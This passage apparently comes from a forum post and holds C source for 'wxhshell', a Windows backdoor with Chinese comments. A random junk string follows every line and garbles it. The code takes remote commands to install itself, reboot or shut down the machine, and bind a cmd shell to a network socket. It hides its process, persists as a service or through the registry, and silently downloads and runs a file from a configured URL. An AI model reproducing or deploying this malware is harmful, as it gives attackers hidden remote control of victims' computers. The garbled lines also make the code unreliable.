    switch(cmd[0]) { EbnV"]1  
  <=]:ED $V@  
  // 帮助 )yUSuK(Vu  
  case '?': { DFp">1@`PR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `JcWH_[  
    break; @T%8EiV  
  } B-h@\y  
  // 安装 B^Hh rz!  
  case 'i': { ny1Dg$u i2  
    if(Install()) ]h'*L`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZMGC@4^F  
    else gWfMUl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pkc*toW  
    break; g`dAj4B  
    } y.gjs <y  
  // 卸载 10CRgrZ  
  case 'r': { H18pVh  
    if(Uninstall()) t**MthnW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R%6KxN)+@  
    else GHpP *x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6|QIzs<Z-X  
    break; AbIYdFXB  
    } MB+a?u0\  
  // 显示 wxhshell 所在路径 A8 !&Y;d  
  case 'p': { oB+Ek~{z]  
    char svExeFile[MAX_PATH]; .V@3zzv\  
    strcpy(svExeFile,"\n\r"); 814cCrr,o  
      strcat(svExeFile,ExeFile); Bi7&yS5V  
        send(wsh,svExeFile,strlen(svExeFile),0); kOQ!]-;  
    break; (Q"~bP{F  
    } >cH}sNHy  
  // 重启 7 lu_E.Bv  
  case 'b': { 4wPP/`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {J-Ojw|Y b  
    if(Boot(REBOOT)) ]v l?J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a1z*Z/!5  
    else { 3x)jab  
    closesocket(wsh); D!mx&O9  
    ExitThread(0); f1q0*)fk  
    } \7G.anY  
    break; 5% w08  
    } \S>GtlQbn  
  // 关机 d 9]zB-A  
  case 'd': { 9yp'-RKjw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MP~+@0cv  
    if(Boot(SHUTDOWN)) I "HEXsSe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /%TL{k&m$  
    else { ?~<NyJHN%  
    closesocket(wsh); ]{18-=  
    ExitThread(0); x!fgZr{  
    } Esf\Bo"  
    break; T=':$(t  
    } gw<u dhk  
  // 获取shell P>'29$1'  
  case 's': { lQpl8>  
    CmdShell(wsh); D&1(qi=x&  
    closesocket(wsh); ]xPy-j6C  
    ExitThread(0); ^G NL:D%6d  
    break; 36}&{A  
  } V0xO:7G^  
  // 退出 EAoq2_(`a  
  case 'x': { j:U6q,f]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =nv/ r  
    CloseIt(wsh); \pXo~;E\  
    break; *mn"G K6  
    } 7=a e^GKo  
  // 离开 _% i!LyG  
  case 'q': { E+J+fi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (?ZS 9&y}  
    closesocket(wsh); Tj6kCB  
    WSACleanup(); p5J!j I=  
    exit(1); 95Q^7oI  
    break; ,3Nna:~f  
        } ?;ZnD(4?  
  } $`<-;kI  
  } !*o{xq   
{ }P~nP  
  // 提示信息 w`[`:H_z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5 Q,j+  
} 9>;CvR  
  } &t}6sD9o  
&}d5'IRT  
  return; f<>CSjQ4c  
} fzUG1|$e  
cyB2=,  
// shell模块句柄 9]:F!d/  
int CmdShell(SOCKET sock) fvj  
{ yh{U!hG  
STARTUPINFO si; AsR}qqG  
ZeroMemory(&si,sizeof(si)); Wz;@Rl|F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y 7z)lBy\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %`lLX/4~  
PROCESS_INFORMATION ProcessInfo; >]kZ2gVt  
char cmdline[]="cmd"; ow;a7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s`=&l  
  return 0; )*&61  
} NG: f>R  
f/U~X;  
// 自身启动模式 (#+81 Dr  
int StartFromService(void) y w:=$e5  
{ ON"p^o>/_?  
typedef struct AJ z 1    
{ i:H]Sb)<b  
  DWORD ExitStatus; x^McUfdr|  
  DWORD PebBaseAddress; ol}}c6  
  DWORD AffinityMask; zIr4!|X  
  DWORD BasePriority; G6s3 \de#U  
  ULONG UniqueProcessId; |Rz}bsrZ  
  ULONG InheritedFromUniqueProcessId; #I#_gjJkx  
}   PROCESS_BASIC_INFORMATION; +1c[!;'  
H=9{|%iS  
PROCNTQSIP NtQueryInformationProcess; l@`n4U.Gwl  
{dlG3P='`f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q><wzCnRu~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H ahA} Q  
!w/]V{9`X  
  HANDLE             hProcess; =69sWcC8  
  PROCESS_BASIC_INFORMATION pbi; @XVx{t;g2  
czK}F/Sg`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7A{Z1[7  
  if(NULL == hInst ) return 0; seb/rxb  
(^m~UN2@~m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eF?jNO3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K6,d{n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !8tqYY?>@\  
VUD9ZyPw  
  if (!NtQueryInformationProcess) return 0; " s/ws  
_~;K]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -i]2 b  
  if(!hProcess) return 0; ? 8)k6:  
uM9Gj@_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [K1z/ea)V  
/a s+ TU`A  
  CloseHandle(hProcess); _5o5/@  
TJ|do`fw>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {x~r$")c?  
if(hProcess==NULL) return 0; "ZuA._  
\"d\b><R  
HMODULE hMod; uCgJ F@  
char procName[255]; be [E^%  
unsigned long cbNeeded; i]& >+R<6  
I p|[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =FQH5iSd  
L }R-|  
  CloseHandle(hProcess); 10tTV3`IM  
a[=ub256S  
if(strstr(procName,"services")) return 1; // 以服务启动 Wr8}=\/  
KK4rVb:-  
  return 0; // 注册表启动 [Bj\h7 G  
} w8F`RRHEE  
'fZ\uMdTx  
// 主模块 hJ?PV@xy  
int StartWxhshell(LPSTR lpCmdLine) XE#$|Z  
{ ycf)*0k  
  SOCKET wsl; 2B+qS'OT  
BOOL val=TRUE; T%E/k# )q  
  int port=0; 9ZDbZc  
  struct sockaddr_in door; [}5mi?v  
E`|vu*l7  
  if(wscfg.ws_autoins) Install(); 3S @)Ans  
Q1(4l?X@  
port=atoi(lpCmdLine); ]Mvpec_B  
o+}G/*O8  
if(port<=0) port=wscfg.ws_port; PB~ r7O]  
ak{XLzn  
  WSADATA data; 3~Ll<8fv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \T?6TDZ]  
l!:L<B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H>%L@Btw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .&n! 4F'  
  door.sin_family = AF_INET; hJ75(I *j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5+t$4N+P  
  door.sin_port = htons(port); %0'7J@W  
{D8yqO A}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ged} qXn  
closesocket(wsl); #Fkp6`Q$x  
return 1; <&tdyAT?&  
} E0.o/3Gw6  
-*qoF(/U  
  if(listen(wsl,2) == INVALID_SOCKET) { <KX+j,4  
closesocket(wsl); Nl^u A  
return 1; o* e'D7  
} |<%v`*  
  Wxhshell(wsl); D#[<N  
  WSACleanup(); lkJe7 +s  
7v}(R:*  
return 0; cGlpJ)'-{  
(IIZvCek  
} &g]s@S|%  
HE0m#  
// 以NT服务方式启动 I/u>Gt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B?4Iu)bCxI  
{ 5>hXqNjP2  
DWORD   status = 0; @QE&D+NS  
  DWORD   specificError = 0xfffffff; VFKFO9  
D58RHgY[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6_K7!?YG7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AB<%GzW0(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NHe[,nIV  
  serviceStatus.dwWin32ExitCode     = 0; #X0Xc2}{f  
  serviceStatus.dwServiceSpecificExitCode = 0; _/YM@%d  
  serviceStatus.dwCheckPoint       = 0; xl9S=^`=  
  serviceStatus.dwWaitHint       = 0; tjQ6[`  
dV /Es  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .UvDew/Y  
  if (hServiceStatusHandle==0) return; ,:0!+1  
szXqJG8|  
status = GetLastError(); IA$=  
  if (status!=NO_ERROR) z G`|)  
{ V`G^Jyj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '=J|IN7WT  
    serviceStatus.dwCheckPoint       = 0; P1 |3%#c  
    serviceStatus.dwWaitHint       = 0; 9<o*aFgCa  
    serviceStatus.dwWin32ExitCode     = status; V7B%o:FZo  
    serviceStatus.dwServiceSpecificExitCode = specificError; h~O^~"jc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WA.c.{w\  
    return; t ;fJ`.  
  } [MD"JW?4B  
h-U]?De5\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <YrsS-9  
  serviceStatus.dwCheckPoint       = 0; V{X/yN.u  
  serviceStatus.dwWaitHint       = 0; =Z..&H5i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x@D> JG  
} "BIhd*K[~  
]`|;ZQiD  
// 处理NT服务事件,比如:启动、停止 bD?gwhAKA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8t |?b  
{ !vuun |  
switch(fdwControl) 6XnUs1O  
{ o\fPZ`p-m~  
case SERVICE_CONTROL_STOP: RFq=`/>dG  
  serviceStatus.dwWin32ExitCode = 0; X.ZG-TC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i O$ ?No  
  serviceStatus.dwCheckPoint   = 0; [7  t  
  serviceStatus.dwWaitHint     = 0; C8=rsh  
  { /l8w b~vl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l~[ K.p&  
  } 7^1K4%IPl  
  return; t0Inf [um  
case SERVICE_CONTROL_PAUSE: |nU%H=Rs/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t{`uN  
  break; Jgy6!qUn_  
case SERVICE_CONTROL_CONTINUE: B]  Koi1B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; % .8(R &  
  break; t| B<F t^  
case SERVICE_CONTROL_INTERROGATE: cQ3p|a `  
  break; B_C."{G  
}; - %?> 1n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C#P>3"  
} bAUYJPRpy  
O9RnS\  
// 标准应用程序主函数 E!`/XB/nA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N:EljzvP}  
{ 9f CU+s  
3@* ~>H  
// 获取操作系统版本 Iz&d S?p_  
OsIsNt=GetOsVer(); ?"kU+tCxg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =@nW;PUZ  
G0Z$p6z  
  // 从命令行安装 !/1 ~  
  if(strpbrk(lpCmdLine,"iI")) Install(); O#<S\66  
y^D3}ds  
  // 下载执行文件 Z=l2Po n  
if(wscfg.ws_downexe) { WGo ryvEx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?P}) Qa  
  WinExec(wscfg.ws_filenam,SW_HIDE); X>Z83qV5d!  
} I*pFX0+  
Z/;hbbG  
if(!OsIsNt) { ;KG}Yr72  
// 如果时win9x,隐藏进程并且设置为注册表启动 "9Br )3  
HideProc(); YB4|J44Y  
StartWxhshell(lpCmdLine); ca[*#xiJ  
} |BO5<`&I  
else >b~Q%{1  
  if(StartFromService()) !Nbi&^k B  
  // 以服务方式启动 `.wgRUhFH;  
  StartServiceCtrlDispatcher(DispatchTable); w1 A-_  
else }IQ![T5  
  // 普通方式启动  [geT u  
  StartWxhshell(lpCmdLine); |7.X)h`  
Z*(OcQ-  
return 0; bNoZ{ 7  
}
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只看该作者 1 发表于: 2006-10-10
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